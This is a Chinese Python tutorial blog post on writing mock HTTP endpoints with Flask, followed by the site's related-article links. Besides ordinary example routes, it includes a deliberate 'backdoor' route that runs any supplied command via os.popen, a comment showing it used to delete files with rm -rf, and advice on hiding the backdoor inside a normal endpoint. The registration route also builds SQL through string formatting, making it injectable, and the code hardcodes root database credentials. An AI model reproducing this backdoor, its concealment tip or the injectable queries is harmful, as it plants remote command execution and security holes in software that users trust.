python学习开发mock接口


Posted in Python onApril 28, 2019

本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下

#1.测试为什么要开发接口?

1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库

#2.开发接口的顺序

1)安装flask

flask是一个轻量级开发框架

pip install flask

2)开发一个接口

开发步骤:

1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()

import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务
 
def opt_db(sql):
  coon=pymysql.connect(
    host='192.168.109.132',
    user='root',
    passwd='123456',
    db='besttest',
    port=3306,
    charset='utf8'
  )#建立db链接
  cur=coon.cursor()#建立游标
  cur.execute(sql);#执行sql
  if sql.strip()[:6].upper()=='SELECT':
    res=cur.fetchall()#获取sql返回
  else:
    coon.commit()
    res='ok'
  cur.close()#关闭游标
  coon.close()#关闭db链接
  return res
 
 
#get请求, 请求路径ip:port/index
@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)
def index():
  res={'msg':'这是我开发的第一个接口','msg_code':'0'}
  return json.dumps(res,ensure_ascii=False,indent=4)
 
 
#post请求, 请求路径ip:port/reg
@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)
def reg():
  username=flask.request.values.get('username')#获取接口入参
  pwd=flask.request.values.get('passwd')
  if username and pwd:
    sql='select * from syz_stu where username="%s";'%username
    if opt_db(sql):
      res={'msg':'用户已存在','msg_code':2001}#2001用户已存在
    else:
      insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
      opt_db(insert_sql)
      res={'msg':'注册成功','msg_code':'0'}
  else:
    res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填
  return json.dumps(res,ensure_ascii=False,indent=4)
#后门接口
@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error
def cmd():
  cmd = flask.request.values.get('cmd')#接口的入参
  res = os.popen(cmd)#执行用户命令
  return res.read()#返回执行结果
  #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
  #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
  # 默认可以不传,一但传了再res = os.popen(cmd)
 
server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问
# port=6688指定端口为6688
# debug=True设置代码修改后服务自动重启
# host='0.0.0.0'设置同一局域网的可以访问
# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python简单调用MySQL存储过程并获得返回值的方法
Jul 20 Python
Python编程实现双击更新所有已安装python模块的方法
Jun 05 Python
Django中redis的使用方法(包括安装、配置、启动)
Feb 21 Python
使用Python设计一个代码统计工具
Apr 04 Python
python操作excel的方法(xlsxwriter包的使用)
Jun 11 Python
python判断一个数是否能被另一个整数整除的实例
Dec 12 Python
5分钟 Pipenv 上手指南
Dec 20 Python
python Tcp协议发送和接收信息的例子
Jul 22 Python
python3.8 微信发送服务器监控报警消息代码实现
Nov 05 Python
python pycharm最新版本激活码(永久有效)附python安装教程
Sep 18 Python
Python实现AI换脸功能
Apr 10 Python
Python爬虫数据的分类及json数据使用小结
Mar 29 Python
Python简单基础小程序的实例代码
Apr 28 #Python
python实现Excel文件转换为TXT文件
Apr 28 #Python
Python3.5模块的定义、导入、优化操作图文详解
Apr 27 #Python
Python3.5内置模块之time与datetime模块用法实例分析
Apr 27 #Python
Python3.5内置模块之os模块、sys模块、shutil模块用法实例分析
Apr 27 #Python
Python3.5内置模块之shelve模块、xml模块、configparser模块、hashlib、hmac模块用法分析
Apr 27 #Python
python爬取基于m3u8协议的ts文件并合并
Apr 26 #Python
You might like
.htaccess文件保护实例讲解
2011/02/06 PHP
php标签云的实现代码
2012/10/10 PHP
PHP实现登录搜狐广告获取广告联盟数据的方法【附demo源码】
2016/10/14 PHP
PHP生成word文档的三种实现方式
2016/11/14 PHP
XAMPP升级PHP版本实现步骤解析
2020/09/04 PHP
JQuery困惑—包装集 DOM节点
2009/10/16 Javascript
用apply让javascript函数仅执行一次的代码
2010/06/27 Javascript
js判断输入是否为正整数、浮点数等数字的函数代码
2010/11/17 Javascript
jquery 表格的增行删行实现思路
2013/03/21 Javascript
jquery打开直接跳到网页最下面、最低端实现代码
2013/04/22 Javascript
使用js正则控制input标签只允许输入的值
2013/07/29 Javascript
JS不间断向上滚动效果代码
2013/12/25 Javascript
7个JS基础知识总结
2014/03/05 Javascript
JavaScript函数定义的常见注意事项小结
2014/09/16 Javascript
探讨js字符串数组拼接的性能问题
2014/10/11 Javascript
js实现仿QQ秀换装效果的方法
2015/03/04 Javascript
基于BootStrap环境写jQuery tabs插件
2016/07/12 Javascript
jQuery实现checkbox即点即改批量删除及中间遇到的坑
2017/11/11 jQuery
js数组常用最重要的方法
2018/02/04 Javascript
JavaScript怎样在删除前添加确认弹出框?
2019/05/27 Javascript
Python实现字典依据value排序
2016/02/24 Python
浅析Python 引号、注释、字符串
2019/07/25 Python
Python爬虫JSON及JSONPath运行原理详解
2020/06/04 Python
Python高并发解决方案实现过程详解
2020/07/31 Python
python中实现词云图的示例
2020/12/19 Python
matplotlib绘制多子图共享鼠标光标的方法示例
2021/01/08 Python
CSS 3.0 结合video视频实现的创意开幕效果
2020/06/01 HTML / CSS
工程管理专业个人求职信范文
2013/12/07 职场文书
白酒业务员岗位职责
2013/12/27 职场文书
大学本科生职业生涯规划书范文
2014/09/14 职场文书
教师党员个人自我评价
2015/03/04 职场文书
公司行政主管岗位职责
2015/04/09 职场文书
2016中考冲刺决心书
2015/09/22 职场文书
技术转让协议书
2016/03/19 职场文书
JavaScript canvas实现流星特效
2021/05/20 Javascript
Python连接Postgres/Mysql/Mongo数据库基本操作大全
2021/06/29 Python